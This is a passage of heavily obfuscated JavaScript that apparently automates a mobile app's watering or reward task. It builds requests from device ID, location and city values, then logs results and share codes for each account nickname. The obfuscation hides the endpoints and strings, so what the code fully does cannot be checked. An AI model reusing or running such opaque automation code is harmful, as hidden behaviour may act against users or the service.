_0x6b8f2f(_0x4b16b7-0x115,_0x3a85b4,_0x4bea94-0x5d,_0x4b16b7-0x1f4,_0x3a85b4-0xe3);}return _0x2d09ea[_0x3c1e95(0x16b4,0x1d94,0x1bc5,0x17e6,'\x45\x33\x6b\x40')](_0x505ca0,_0x1e5337);},'\x62\x78\x77\x79\x4b':function(_0xfcb689,_0x485fed){function _0x43db2a(_0x280767,_0x4d9930,_0x242e3f,_0xffdb3d,_0x164a08){return _0x58266a(_0x280767-0x169,_0x4d9930-0x8c,_0x242e3f-0x125,_0x242e3f- -0x9f,_0xffdb3d);}return _0x2d09ea[_0x43db2a(0x8d1,0xf18,0xf42,'\x34\x62\x40\x70',0x10b6)](_0xfcb689,_0x485fed);},'\x79\x75\x63\x53\x76':_0x2d09ea[_0x1d6cdb(0x418,0xc8a,'\x5d\x5d\x4d\x42',0xabb,0xcf8)],'\x45\x75\x49\x55\x6f':_0x2d09ea[_0x1d6cdb(0x8ff,0xe15,'\x4f\x40\x44\x71',0x147,0x1b0)],'\x50\x62\x49\x5a\x53':_0x2d09ea[_0x6b8f2f(0x13d2,'\x76\x78\x62\x62',0x7d7,0xff2,0x783)],'\x7a\x41\x46\x6b\x64':_0x2d09ea[_0x58266a(0xb97,-0x97,0x131,0x385,'\x66\x66\x76\x75')],'\x74\x78\x58\x57\x49':function(_0x39a8de,_0x2bbd29){function _0x4a9ea8(_0x527566,_0x142552,_0x1d5592,_0x4de508,_0x56baaa){return _0x6b8f2f(_0x527566-0xe9,_0x56baaa,_0x1d5592-0x1bd,_0x142552- -0x446,_0x56baaa-0x116);}return _0x2d09ea[_0x4a9ea8(0x14b9,0xd7c,0xd1d,0x1517,'\x6e\x70\x4f\x48')](_0x39a8de,_0x2bbd29);},'\x46\x65\x70\x5a\x4b':function(_0x3800e6,_0x4fc2c9){function _0x3a0072(_0x340288,_0x41f39f,_0x516270,_0x12a151,_0xe46212){return _0x13010f(_0x340288-0x11f,_0x41f39f-0x18b,_0x516270-0x189,_0x516270,_0xe46212-0xaf);}return _0x2d09ea[_0x3a0072(0x76f,0x556,'\x6b\x5e\x4e\x4d',0x531,0x895)](_0x3800e6,_0x4fc2c9);},'\x46\x51\x73\x62\x4b':function(_0x4a67bf,_0x185bc6){function _0x445e2e(_0x2e3906,_0x2657dd,_0x32a9bb,_0x1e7959,_0x5b38c8){return _0x1d6cdb(_0x1e7959- -0x80,_0x2657dd-0xc9,_0x32a9bb,_0x1e7959-0x15b,_0x5b38c8-0x1e0);}return _0x2d09ea[_0x445e2e(0xec0,0xe37,'\x24\x63\x6f\x37',0xaf0,0xbf9)](_0x4a67bf,_0x185bc6);},'\x6e\x48\x4a\x53\x6d':function(_0x16e79b,_0x488bb7){function _0x3e2bc8(_0x388351,_0xd4ab3f,_0x5c7c5b,_0x2e05b5,_0x14affc){return _0x58266a(_0x388351-0x3e,_0xd4ab3f-0x47,_0x5c7c5b-0x11d,_0x2e05b5-0x325,_0xd4ab3f);}return _0x2d09ea[_0x3e2bc8(0x1ede,'\x57\x73\x5d\x21',0xcea,0x15fd,0x1e83)](_0x16e79b,_0x488bb7);},'\x57\x6b\x69\x71\x5a':function(_0x578399,_0x4d206b){function _0x5b5464(_0x5abe63,_0x47d8ab,_0x2abcb9,_0x3221f9,_0x686108){return _0x6b8f2f(_0x5abe63-0x0,_0x5abe63,_0x2abcb9-0xa4,_0x686108-0x2,_0x686108-0xef);}return _0x2d09ea[_0x5b5464('\x32\x49\x5b\x49',-0x52a,0x8b4,-0x34f,0x300)](_0x578399,_0x4d206b);},'\x49\x55\x4c\x58\x70':function(_0x27db05,_0xbd9cac){function _0x257681(_0x258353,_0x5e40d3,_0x543d99,_0x5ab1b1,_0x457047){return _0x58266a(_0x258353-0xe5,_0x5e40d3-0x1bf,_0x543d99-0xcc,_0x5ab1b1-0x38f,_0x543d99);}return _0x2d09ea[_0x257681(0x22e,0x659,'\x52\x7a\x58\x2a',0x9b5,0x4fd)](_0x27db05,_0xbd9cac);},'\x57\x42\x68\x6a\x4c':function(_0x245e74,_0x20ee47){function _0x162e83(_0xa73d35,_0x559346,_0x39df01,_0x2db592,_0x5a1f4){return _0x1d6cdb(_0xa73d35-0x2d9,_0x559346-0xa6,_0x39df01,_0x2db592-0xa2,_0x5a1f4-0xf5);}return _0x2d09ea[_0x162e83(0x139e,0xf19,'\x76\x78\x62\x62',0x1a02,0x1786)](_0x245e74,_0x20ee47);},'\x75\x49\x76\x78\x47':function(_0x2d0594,_0x303856){function _0x5cd287(_0x35b0ab,_0x53b1a0,_0x5dc9f6,_0x3599b9,_0x592f55){return _0x6b8f2f(_0x35b0ab-0xb8,_0x592f55,_0x5dc9f6-0x19a,_0x53b1a0- -0x21,_0x592f55-0x177);}return _0x2d09ea[_0x5cd287(0x128d,0x108c,0x16f5,0x8a9,'\x33\x2a\x64\x68')](_0x2d0594,_0x303856);},'\x4f\x42\x76\x62\x5a':function(_0x542285,_0x593703){function _0x5b0dd5(_0x15c20e,_0x226451,_0x49a911,_0x57e484,_0x4d6466){return _0x6b8f2f(_0x15c20e-0xe2,_0x49a911,_0x49a911-0x195,_0x15c20e- -0x3fa,_0x4d6466-0x4f);}return _0x2d09ea[_0x5b0dd5(0x814,0xb81,'\x52\x59\x64\x49',0x757,0x478)](_0x542285,_0x593703);},'\x56\x6b\x56\x4d\x68':function(_0x4610a0,_0x461aed){function _0x30cd10(_0x43d5d0,_0x48167d,_0x5a1fd4,_0x30391f,_0xfd3468){return _0x6b8f2f(_0x43d5d0-0xe4,_0x30391f,_0x5a1fd4-0xe0,_0xfd3468-0x1d6,_0xfd3468-0x18d);}return _0x2d09ea[_0x30cd10(0x71c,0xf98,0x1022,'\x4a\x61\x70\x57',0xdf5)](_0x4610a0,_0x461aed);},'\x65\x77\x72\x64\x45':function(_0x3dea52,_0x47feb1){function _0x180d95(_0x540fea,_0x1af74d,_0x4ce4c8,_0x85ed78,_0x14e429){return _0x13010f(_0x540fea-0x32,_0x1af74d-0x1e2,_0x4ce4c8-0xba,_0x1af74d,_0x4ce4c8- -0x64);}return _0x2d09ea[_0x180d95(0x1738,'\x36\x6c\x21\x41',0x1024,0x750,0x17c2)](_0x3dea52,_0x47feb1);},'\x52\x54\x73\x71\x65':function(_0x1dd439,_0x4419d6){function _0x194052(_0x2c96fd,_0x248d08,_0x4dda5e,_0x396c0c,_0x5461bd){return _0x2d4c74(_0x248d08-0x1e0,_0x248d08-0x6c,_0x2c96fd,_0x396c0c-0xe2,_0x5461bd-0xdc);}return _0x2d09ea[_0x194052('\x6d\x5e\x6e\x43',0x826,0x9c5,0x28e,0xfc1)](_0x1dd439,_0x4419d6);},'\x58\x54\x51\x52\x59':function(_0x4ec79e,_0x3bb941){function _0x4cc4f7(_0x222aae,_0xb53641,_0x2cb70f,_0x41529c,_0x454fde){return _0x13010f(_0x222aae-0x4c,_0xb53641-0x176,_0x2cb70f-0x76,_0x222aae,_0xb53641- -0x4e);}return _0x2d09ea[_0x4cc4f7('\x66\x66\x76\x75',0x84c,0x3f1,0x65d,0x7c8)](_0x4ec79e,_0x3bb941);},'\x4d\x4b\x52\x41\x61':function(_0x829c43,_0x261875){function _0x1dd362(_0x14f1be,_0x10dabf,_0x460326,_0x1eeb39,_0x200720){return _0x13010f(_0x14f1be-0x14e,_0x10dabf-0x136,_0x460326-0x22,_0x14f1be,_0x200720-0x50b);}return _0x2d09ea[_0x1dd362('\x4f\x40\x44\x71',0x9e7,0xec6,0xc45,0x10e2)](_0x829c43,_0x261875);},'\x71\x66\x75\x74\x52':function(_0x153fd0,_0x54a007){function _0x56e575(_0x384849,_0x5a55e5,_0x10079a,_0x3403ef,_0x517d70){return _0x2d4c74(_0x3403ef-0x23e,_0x5a55e5-0x8f,_0x384849,_0x3403ef-0x9c,_0x517d70-0x1c8);}return _0x2d09ea[_0x56e575('\x36\x57\x6b\x69',0x175c,0x1b95,0x1495,0x172d)](_0x153fd0,_0x54a007);},'\x57\x47\x50\x6f\x41':_0x2d09ea[_0x58266a(0xee0,0x1313,0xc5d,0x11fe,'\x57\x73\x5d\x21')],'\x6c\x69\x46\x47\x55':function(_0x3fa582){function _0x1335d8(_0x380e18,_0x216df6,_0x21c173,_0x23449b,_0x2bd347){return _0x6b8f2f(_0x380e18-0x175,_0x216df6,_0x21c173-0x1c,_0x2bd347- -0x118,_0x2bd347-0x11b);}return _0x2d09ea[_0x1335d8(0xbf,'\x36\x70\x67\x64',0xb93,0xe51,0x9eb)](_0x3fa582);}};function _0x58266a(_0x7369b7,_0x40c0ff,_0x61515,_0x291c82,_0x35b44d){return _0x18eff3(_0x7369b7-0x1b8,_0x35b44d,_0x61515-0x3f,_0x291c82-0x19a,_0x291c82-0x232);}function _0x2d4c74(_0x247cf4,_0x38e6da,_0x2e0154,_0x3232f8,_0x543200){return _0x4b28e9(_0x247cf4-0x126,_0x38e6da-0x115,_0x2e0154-0x21,_0x2e0154,_0x247cf4-0x313);}function _0x6b8f2f(_0xeeb92a,_0x493fc4,_0x43ebe6,_0x490200,_0x437b15){return _0x264322(_0xeeb92a-0x1e0,_0x493fc4-0xa8,_0x43ebe6-0x192,_0x493fc4,_0x490200-0x17c);}function _0x13010f(_0x2e4277,_0x945e26,_0x33bdb3,_0x34f1ff,_0x7f67e2){return _0x26e21d(_0x2e4277-0xb,_0x7f67e2-0x113,_0x33bdb3-0x196,_0x34f1ff,_0x7f67e2-0xfa);}try{let _0x30e0f7=Math[_0x2d4c74(0xb6d,0x128e,'\x29\x52\x4b\x66',0x619,0x5d5)](new Date()),_0xdabc25=_0x2d09ea[_0x1d6cdb(0x94b,0x8de,'\x57\x73\x5d\x21',0x4e4,0x8)](urlTask,_0x2d09ea[_0x58266a(0x9ab,0x817,0x1326,0xb73,'\x36\x70\x67\x64')](_0x2d09ea[_0x58266a(0x794,0x107d,0xb9c,0xd03,'\x4a\x61\x70\x57')](_0x2d09ea[_0x6b8f2f(0x52a,'\x62\x77\x6a\x54',-0xeb,0x675,0x2ca)],_0x30e0f7),_0x2d09ea[_0x13010f(0xbcf,0x2c6,0x7e5,'\x6d\x57\x5a\x29',0x59a)]),_0x2d09ea[_0x6b8f2f(0x19d7,'\x4f\x4f\x25\x29',0xfd1,0x142b,0x193c)](_0x2d09ea[_0x6b8f2f(-0xa7,'\x33\x2a\x64\x68',0xcfc,0x5b1,0x321)](_0x2d09ea[_0x58266a(0x674,-0x23d,-0x5e,0x13f,'\x6d\x57\x5a\x29')](_0x2d09ea[_0x6b8f2f(0x48f,'\x63\x66\x74\x31',0x13d5,0xac7,0xdd8)](_0x2d09ea[_0x1d6cdb(0xc4e,0xb7f,'\x47\x38\x4e\x52',0x1131,0x84e)](_0x2d09ea[_0x13010f(0x6a8,-0x184,0x2cf,'\x34\x62\x40\x70',0x4ff)](_0x2d09ea[_0x1d6cdb(0x4b5,-0x1d5,'\x5a\x30\x31\x38',0x497,0x810)](_0x2d09ea[_0x58266a(0x23,0x4c9,0x11d,0x13f,'\x6d\x57\x5a\x29')](_0x2d09ea[_0x6b8f2f(0x802,'\x50\x21\x6c\x48',0x7a4,0xb1a,0xbb6)](_0x2d09ea[_0x58266a(0x91b,-0x22,0x48c,0x203,'\x63\x66\x74\x31')](_0x2d09ea[_0x6b8f2f(0x117c,'\x53\x78\x42\x55',0x869,0xa4c,0xed2)](_0x2d09ea[_0x2d4c74(0x83e,0x423,'\x5d\x5d\x4d\x42',0xadd,0x197)](_0x2d09ea[_0x2d4c74(0x6f9,0x65f,'\x4e\x54\x74\x26',0x7be,0x67b)](_0x2d09ea[_0x2d4c74(0x90d,0x6c3,'\x65\x54\x72\x35',0x41c,0x101f)](_0x2d09ea[_0x13010f(0xd21,0xfd8,0xe54,'\x75\x5d\x54\x4f',0x6d7)](_0x2d09ea[_0x58266a(0x9d7,0xde1,0x1891,0x10a8,'\x36\x57\x6b\x69')](_0x2d09ea[_0x13010f(0x979,0x845,0x9ca,'\x62\x77\x6a\x54',0x164)](_0x2d09ea[_0x1d6cdb(0xe36,0x6d2,'\x53\x28\x21\x51',0x10ef,0x9b2)](_0x2d09ea[_0x6b8f2f(0xa80,'\x57\x38\x4f\x70',0x6a6,0x9c0,0x246)](_0x2d09ea[_0x6b8f2f(0x15ba,'\x6e\x70\x4f\x48',0xf1f,0xf7b,0xb13)](_0x2d09ea[_0x58266a(0x853,0x185,0xc10,0xa0d,'\x6d\x57\x5a\x29')](_0x2d09ea[_0x13010f(0xdba,0xc16,0x80e,'\x75\x5d\x54\x4f',0x655)](_0x2d09ea[_0x58266a(0xa7f,0x1110,0x130b,0x1014,'\x6e\x70\x4f\x48')](_0x2d09ea[_0x1d6cdb(0x13cf,0x153e,'\x29\x52\x4b\x66',0xc99,0x17c5)](_0x2d09ea[_0x1d6cdb(0x66f,0x40c,'\x76\x25\x48\x64',-0x25a,0x4e)](_0x2d09ea[_0x6b8f2f(0x1185,'\x57\x38\x4f\x70',0xd2b,0xa12,0x6e4)],cityid),_0x2d09ea[_0x13010f(0xe4a,0x13da,0x17ba,'\x24\x63\x6f\x37',0xfd5)]),lng),_0x2d09ea[_0x58266a(0x109b,0x495,0x5b1,0x926,'\x53\x41\x31\x35')]),lat),_0x2d09ea[_0x58266a(0x82a,0xdc7,0xd04,0x577,'\x46\x6f\x5e\x6c')]),lat),_0x2d09ea[_0x13010f(0x787,0xcbe,0x2c1,'\x53\x34\x6c\x29',0xb91)]),lng),_0x2d09ea[_0x58266a(0x13e1,0x1742,0x1993,0x134a,'\x63\x66\x74\x31')]),lat),_0x2d09ea[_0x13010f(0x5eb,0xe2b,0x7ca,'\x66\x66\x76\x75',0x8ee)]),lng),_0x2d09ea[_0x6b8f2f(0xd4,'\x5a\x30\x31\x38',0xc8c,0x757,0xca8)]),cityid),_0x2d09ea[_0x2d4c74(0xfb5,0x1493,'\x52\x7a\x58\x2a',0x16c3,0xf98)]),deviceid),_0x30e0f7),_0x2d09ea[_0x1d6cdb(0x35e,0x514,'\x57\x38\x4f\x70',0x199,-0x4e9)]),deviceid),_0x2d09ea[_0x2d4c74(0xd24,0xc65,'\x6d\x57\x5a\x29',0x57a,0x5f8)]),deviceid),_0x2d09ea[_0x58266a(0x40a,0x235,-0x166,0x6c6,'\x76\x25\x48\x64')]),_0x30e0f7),_0x2d09ea[_0x2d4c74(0xbf7,0x1055,'\x34\x62\x40\x70',0x367,0x68d)]));await $[_0x2d4c74(0x71f,0xef9,'\x65\x54\x72\x35',0x102e,-0x183)][_0x2d4c74(0xe72,0x7bc,'\x36\x6c\x21\x41',0x11e9,0x83c)](_0xdabc25)[_0x58266a(0x7d8,0x5be,0x431,0xc65,'\x45\x33\x6b\x40')](async _0xdcc81e=>{function _0x1cb3c5(_0x390d2d,_0x5cc4b5,_0x28a50e,_0x2bd801,_0x43729b){return _0x2d4c74(_0x390d2d- -0x37c,_0x5cc4b5-0x1cc,_0x5cc4b5,_0x2bd801-0x25,_0x43729b-0x1d1);}function _0x550737(_0x3c6169,_0x3b0244,_0x5943ad,_0x465792,_0x34745f){return _0x13010f(_0x3c6169-0xee,_0x3b0244-0x188,_0x5943ad-0x165,_0x465792,_0x34745f-0x1ec);}function _0x16a196(_0x1b7e3a,_0x326ae4,_0x187389,_0x15036e,_0x51c935){return _0x1d6cdb(_0x15036e- -0x24,_0x326ae4-0x1f2,_0x1b7e3a,_0x15036e-0xb2,_0x51c935-0x9b);}function _0xac0410(_0x4aafcf,_0x35c177,_0x4abd63,_0x2035d3,_0x441555){return _0x2d4c74(_0x4abd63- -0x1b3,_0x35c177-0x41,_0x35c177,_0x2035d3-0x1c9,_0x441555-0x1e1);}function _0x5d432b(_0x409423,_0x3c2ee8,_0x4d4914,_0x4e7d6a,_0x14476c){return _0x58266a(_0x409423-0x18e,_0x3c2ee8-0x9a,_0x4d4914-0x1ba,_0x409423- -0x17b,_0x3c2ee8);}let _0x3bfdf1=JSON[_0xac0410(-0x22e,'\x31\x5e\x34\x5a',0x3cf,0x3ce,-0x3b0)](_0xdcc81e[_0xac0410(0x11b7,'\x63\x66\x74\x31',0x94b,0x1108,0x95a)]);if(_0x48b8c3[_0x1cb3c5(0x9f6,'\x78\x56\x67\x4f',0x703,0xcad,0x11c9)](_0x3bfdf1[_0x1cb3c5(0x1dd,'\x4f\x40\x44\x71',0x90c,0xe8,-0x4a7)],-0xef*0x1+-0xa*-0x327+-0x1e97)){_0x48b8c3[_0x16a196('\x6d\x57\x5a\x29',0x1544,0x1440,0xcd8,0x1325)](_0x48097e,0x5*-0x435+0x16a2+0x199*-0x1)&&(waterNum=_0x3bfdf1[_0x1cb3c5(0x10b1,'\x34\x62\x40\x70',0xfeb,0x157d,0x18b8)+'\x74'][_0x5d432b(0x6ac,'\x32\x49\x5b\x49',-0x2aa,0xe6,0xa33)+_0x5d432b(0x813,'\x35\x37\x26\x25',0x9b4,0xc6c,0x8c1)+'\x73\x65'][_0x16a196('\x77\x40\x43\x59',0x9a7,0x81d,0xa27,0x120f)+_0x550737(0x1172,0x106f,0xb90,'\x6b\x5e\x4e\x4d',0xd2f)+'\x63\x65'],shareCode+=_0x3bfdf1[_0xac0410(0xb1f,'\x6b\x5e\x4e\x4d',0xe57,0x14af,0x16d9)+'\x74'][_0xac0410(0x1177,'\x46\x6f\x5e\x6c',0xee2,0x1689,0x12e0)+_0x5d432b(0x390,'\x47\x38\x4e\x52',-0xd2,0x324,0x458)+_0x5d432b(0x812,'\x53\x78\x42\x55',0x700,0xe15,0xa34)+_0x16a196('\x53\x78\x42\x55',-0x203,0x4c,0x47c,-0x19a)][_0x16a196('\x6b\x5e\x4e\x4d',0x538,-0x415,0x169,0xabe)+'\x69\x6e']);if(_0x48b8c3[_0x5d432b(0x195,'\x45\x33\x6b\x40',0x7be,-0x13,-0x42)](_0x48097e,-0x1807*0x1+-0x1fdd*-0x1+-0x7d4)){waterNum=_0x48b8c3[_0x550737(0x78a,0x102d,0x13ec,'\x4f\x4f\x25\x29',0xc2b)](_0x48b8c3[_0x550737(0x4ee,0xb9c,0x8c3,'\x5d\x78\x21\x39',0x964)](_0x48b8c3[_0xac0410(0x75a,'\x5d\x5d\x4d\x42',0x2a0,-0x54b,0x23)](waterTimes,0x1e89+-0x2c8*0x8+-0x83f*0x1),_0x3bfdf1[_0x5d432b(0xa01,'\x6b\x59\x6b\x44',0xe4d,0x514,0x45a)+'\x74'][_0x550737(0xb90,0x8fe,0xa2,'\x78\x45\x43\x4d',0x6a3)+_0x5d432b(0xbff,'\x46\x6f\x5e\x6c',0xa3d,0x14b2,0x80e)+'\x73\x65'][_0x5d432b(0x8b4,'\x42\x23\x5e\x5b',0xa3f,0x50d,0x4e9)+_0x550737(0xa47,0x158c,0xc48,'\x53\x34\x6c\x29',0xce1)+'\x63\x65']),waterNum);if(_0x48b8c3[_0x550737(0x859,0xd1b,0xaaa,'\x46\x6f\x5e\x6c',0x70a)](waterNum,0x63*0x36+-0x1*-0x1d23+0xc5*-0x41))waterNum=-0x25e6+-0x2425+-0xecf*-0x5;_0x48b8c3[_0x16a196('\x53\x78\x42\x55',0x1526,0x1c32,0x132c,0x10df)](_0x3bfdf1[_0x550737(0x9ef,0x12a1,0xd4d,'\x36\x57\x6b\x69',0x12e7)+'\x74'][_0x1cb3c5(0x55d,'\x57\x73\x5d\x21',0xc88,-0x220,0x1f2)+_0x1cb3c5(0x267,'\x57\x38\x4f\x70',0xa5f,0x17,-0x230)+_0x550737(0x2dc,-0x4a,0xaaf,'\x78\x56\x67\x4f',0x692)+_0x5d432b(0xd58,'\x53\x28\x21\x51',0x1039,0x5e8,0xc40)][_0x5d432b(0x1012,'\x32\x49\x5b\x49',0x72b,0x9d4,0x11a8)+_0x5d432b(0x98,'\x75\x5d\x54\x4f',-0x652,-0x7ee,-0x418)+_0x16a196('\x6e\x70\x4f\x48',0x818,0xb44,0xe8c,0x7f2)+_0xac0410(0x597,'\x45\x24\x6c\x69',0xaad,0x3ad,0x2c9)],0x1e11+0x1f*-0xc1+-0x6b2*0x1)&&(console[_0x5d432b(0x9ac,'\x78\x45\x43\x4d',0x998,0xb81,0x4e7)](_0x48b8c3[_0xac0410(0x1602,'\x5a\x30\x31\x38',0xfa4,0xa3f,0xbac)](_0x48b8c3[_0x16a196('\x53\x78\x42\x55',0xa5e,0x667,0xc89,0x51b)](_0x48b8c3[_0x1cb3c5(0x1fc,'\x57\x38\x4f\x70',-0x3e9,-0x528,0x7b8)](_0x48b8c3[_0x1cb3c5(0x9c2,'\x6b\x59\x6b\x44',0x5a8,0xd96,0xa66)](_0x48b8c3[_0x16a196('\x47\x28\x51\x45',0x1053,0x427,0xd58,0x13f6)],nickname),'\u3011\x3a'),_0x3bfdf1[_0xac0410(0xebe,'\x6b\x59\x6b\x44',0xbb6,0x4c8,0x11f2)+'\x74'][_0x5d432b(0x59d,'\x52\x59\x64\x49',0xc1a,0x6cd,0xab6)+_0x16a196('\x4f\x40\x44\x71',0x525,0xb6c,0x37c,-0x503)+_0x16a196('\x65\x54\x72\x35',0x40c,0xed0,0xc04,0xeac)+_0x16a196('\x53\x34\x6c\x29',0x149,0x6eb,0x4ee,0x198)][_0x16a196('\x33\x2a\x64\x68',0x433,0x530,0x17f,0x991)+_0x550737(0xc34,0xf12,0xcd3,'\x52\x7a\x58\x2a',0x1336)]),_0x48b8c3[_0x1cb3c5(0xe3,'\x4f\x40\x44\x71',0x7d6,-0x3df,-0x6ca)])),$[_0x16a196('\x24\x63\x6f\x37',-0x131,0x609,0x51d,0x2a6)+'\x79'](_0x48b8c3[_0x550737(0x7e1,0x2f5,0xef7,'\x47\x28\x51\x45',0x6bc)],_0x48b8c3[_0xac0410(0x6c1,'\x50\x21\x6c\x48',0xc8d,0x86d,0x39d)](_0x48b8c3[_0x16a196('\x52\x59\x64\x49',0x8c8,0xabe,0x985,0xdc0)]('\u3010',nickname),'\u3011'),_0x48b8c3[_0x5d432b(0xe57,'\x6b\x59\x6b\x44',0x1796,0x1449,0x1522)](_0x48b8c3[_0x550737(0x149e,0x170e,0xe72,'\x45\x24\x6c\x69',0xf62)](_0x48b8c3[_0x16a196('\x75\x5d\x54\x4f',0xab7,-0x10a,0x5b9,0x355)],_0x3bfdf1[_0xac0410(0x2cf,'\x75\x5d\x54\x4f',0x6ac,-0x18c,0x44d)+'\x74'][_0x16a196('\x4a\x61\x70\x57',0x1781,0x17c4,0x10b6,0x1667)+_0x5d432b(0x9,'\x31\x5e\x34\x5a',0x83c,-0x1ae,0x249)+_0x1cb3c5(0x721,'\x5d\x5d\x4d\x42',0xc03,0xff4,0x58d)+_0x16a196('\x57\x73\x5d\x21',0xb73,0x183b,0x135a,0x1049)][_0x5d432b(0x901,'\x57\x38\x4f\x70',0xf14,0xbe0,0xc41)+_0x550737(0x872,0xe8c,0x11af,'\x5d\x5d\x4d\x42',0x938)]),_0x48b8c3[_0x550737(0x1929,0x1097,0x14c5,'\x6b\x5e\x4e\x4d',0x1012)])),$[_0x5d432b(0x2a1,'\x24\x63\x6f\x37',0x4f0,0x621,0xa59)][_0x16a196('\x57\x38\x4f\x70',0xaa,0xec7,0x91f,0x2a)+'\x65']&&_0x48b8c3[_0xac0410(0x12f,'\x52\x7a\x58\x2a',0x79f,-0x1b7,0x559)](_0x48b8c3[_0x5d432b(0x8b0,'\x53\x28\x21\x51',0x1f1,0x547,0xdf3)](_0x48b8c3[_0x1cb3c5(0x91b,'\x73\x48\x6e\x6e',0xc73,0x1223,0x109b)]('',isNotify),''),_0x48b8c3[_0x550737(0xa88,-0x19d,0xa3d,'\x4f\x4f\x25\x29',0x634)])&&(msgStr+=_0x48b8c3[_0x550737(0x2e7,0xe82,0x39b,'\x31\x5e\x34\x5a',0xb3a)](_0x48b8c3[_0xac0410(0x68b,'\x46\x6f\x5e\x6c',0x885,0x63d,0x1cc)](_0x48b8c3[_0xac0410(0x8a0,'\x57\x38\x4f\x70',0xe53,0xc5c,0xe9d)](_0x48b8c3[_0x550737(0x1241,0x808,0xb83,'\x46\x6f\x5e\x6c',0xd1b)](_0x48b8c3[_0xac0410(0xcc8,'\x36\x57\x6b\x69',0xd92,0xd13,0x168f)],nickname),_0x48b8c3[_0x1cb3c5(0x6bf,'\x32\x49\x5b\x49',0x4a8,0x29a,0xe5e)]),_0x3bfdf1[_0x550737(0x90e,0xf19,0xaf,'\x66\x66\x76\x75',0x5f0)+'\x74'][_0xac0410(-0xc0,'\x6d\x5e\x6e\x43',0x4bc,0xc8e,0x34c)+_0x1cb3c5(0x281,'\x29\x52\x4b\x66',0x4cf,0x678,0xba8)+_0x5d432b(0x665,'\x77\x40\x43\x59',0x702,0xee4,0x863)+_0x550737(0xafa,0x163c,0xe8f,'\x29\x52\x4b\x66',0xd31)][_0xac0410(-0x5d3,'\x52\x59\x64\x49',0x1eb,-0x3d1,0xad5)+_0x5d432b(0x4f1,'\x77\x40\x43\x59',0x8c4,0xcb6,0xd53)]),_0x48b8c3[_0xac0410(0x2cd,'\x4a\x61\x70\x57',0x739,0xfc8,0xf47)])));if(_0x48b8c3[_0xac0410(0x793,'\x46\x6f\x5e\x6c',0x692,0x71f,0x707)](_0x3bfdf1[_0x5d432b(0x334,'\x6d\x57\x5a\x29',-0x4f9,-0x3eb,0x895)+'\x74'][_0x16a196('\x53\x41\x31\x35',0xfae,0xfb7,0x6ae,0x632)+_0xac0410(0x8ff,'\x45\x33\x6b\x40',0x1076,0x17a1,0xf4b)+_0x5d432b(0xb7d,'\x76\x78\x62\x62',0x1010,0x10ca,0x5ca)+_0x1cb3c5(0xf33,'\x66\x66\x76\x75',0x987,0x187a,0x1655)][_0xac0410(0x1f7,'\x57\x38\x4f\x70',0x477,0x9f5,0xb6c)+_0x1cb3c5(0x8ae,'\x53\x34\x6c\x29',0x47a,0x2fd,-0x3)+_0xac0410(0x473,'\x45\x24\x6c\x69',0x53e,-0x331,0xa80)+_0xac0410(-0x596,'\x53\x28\x21\x51',0x31a,0x779,0x638)],-0x19a4+0x6af+-0x17*-0xd3)){let _0x57f1ec='\u6b21';if(_0x48b8c3[_0x5d432b(0x429,'\x6e\x70\x4f\x48',0xabd,0xcc2,0x9e8)](_0x3bfdf1[_0xac0410(-0x179,'\x6e\x70\x4f\x48',0x718,0x79,0xb14)+'\x74'][_0x16a196('\x53\x78\x42\x55',0x349,0x1049,0x6fa,0x495)+_0x550737(0xdd3,0xd4d,0xd76,'\x35\x37\x26\x25',0x8c2)+_0xac0410(0xd14,'\x34\x62\x40\x70',0xbbc,0x10c8,0x1102)+_0x5d432b(0x25f,'\x36\x70\x67\x64',0x97,0x691,0x7fa)][_0xac0410(0xb39,'\x31\x5e\x34\x5a',0x1263,0x184c,0x1a55)+_0x5d432b(0x2f4,'\x78\x45\x43\x4d',-0x135,0x1c9,0x8a)+'\x67\x65'],0x25a3+0xede+0x4*-0xd1f))_0x57f1ec='\x25';console[_0x5d432b(0x95,'\x34\x62\x40\x70',0x24a,-0x534,0x73f)](_0x48b8c3[_0x16a196('\x6b\x59\x6b\x44',0x296,0xdc,0x1a4,-0x9f)](_0x48b8c3[_0x16a196('\x46\x6f\x5e\x6c',0x3f9,0x1002,0xc50,0x908)](_0x48b8c3[_0xac0410(0x15e8,'\x31\x5e\x34\x5a',0x12ce,0x15d1,0xfe6)](_0x48b8c3[_0x1cb3c5(0xef,'\x57\x38\x4f\x70',-0xea,0x495,-0x6b5)](_0x48b8c3[_0x1cb3c5(0xf2e,'\x36\x57\x6b\x69',0xe86,0xc48,0xf40)](_0x48b8c3[_0x16a196('\x57\x38\x4f\x70',0x1890,0xa06,0x1292,0xd00)](_0x48b8c3[_0x1cb3c5(0x1012,'\x32\x49\x5b\x49',0x8c4,0x6c7,0xfa6)](_0x48b8c3[_0x1cb3c5(0xa81,'\x53\x78\x42\x55',0x1073,0x12ba,0x247)](_0x48b8c3[_0x16a196('\x5d\x5d\x4d\x42',0x12d5,0x1092,0x1106,0xbec)](_0x48b8c3[_0xac0410(0x1ce,'\x65\x54\x72\x35',0x6dd,0xe7a,0x0)](_0x48b8c3[_0x1cb3c5(0x6c8,'\x50\x21\x6c\x48',0xff8,0x1010,0xda7)](_0x48b8c3[_0x550737(0x19bf,0x1903,0x15bd,'\x62\x77\x6a\x54',0x10e5)](_0x48b8c3[_0xac0410(0xd71,'\x33\x2a\x64\x68',0x138e,0xcc2,0x1535)](_0x48b8c3[_0x5d432b(0xb5,'\x63\x66\x74\x31',-0x1d5,0x968,-0x6a3)](_0x48b8c3[_0x5d432b(0x11e8,'\x36\x6c\x21\x41',0x9f6,0xf48,0xcb2)](_0x48b8c3[_0x16a196('\x36\x57\x6b\x69',0x5e2,0x3d7,0x30b,0xa84)],nickname),'\u3011\x3a'),_0x3bfdf1[_0x1cb3c5(0x1042,'\x31\x5e\x34\x5a',0x1919,0x103f,0x1710)+'\x74'][_0x550737(0x3cd,0x8b7,0x40e,'\x41\x43\x59\x76',0x3f8)+_0x1cb3c5(0x653,'\x73\x48\x6e\x6e',0x910,0x836,0xd82)+_0x550737(0x1074,0xd1d,0x36c,'\x57\x73\x5d\x21',0x803)+_0x550737(0xe71,0x1393,0x1635,'\x45\x24\x6c\x69',0x145c)][_0x16a196('\x62\x77\x6a\x54',0x14a3,0xa7d,0x13d7,0xc9b)+_0x550737(0xad7,0xb1a,0x1aa5,'\x36\x6c\x21\x41',0x12fe)]),_0x48b8c3[_0x16a196('\x77\x40\x43\x59',0x91d,0x8d1,0xce7,0x3a1)]),waterNum),_0x48b8c3[_0x550737(0xde5,0x74f,0xb89,'\x76\x78\x62\x62',0xd3f)]),waterTimes),_0x48b8c3[_0x16a196('\x36\x70\x67\x64',0x80e,0x11c5,0xdd8,0x976)]),_0x3bfdf1[_0xac0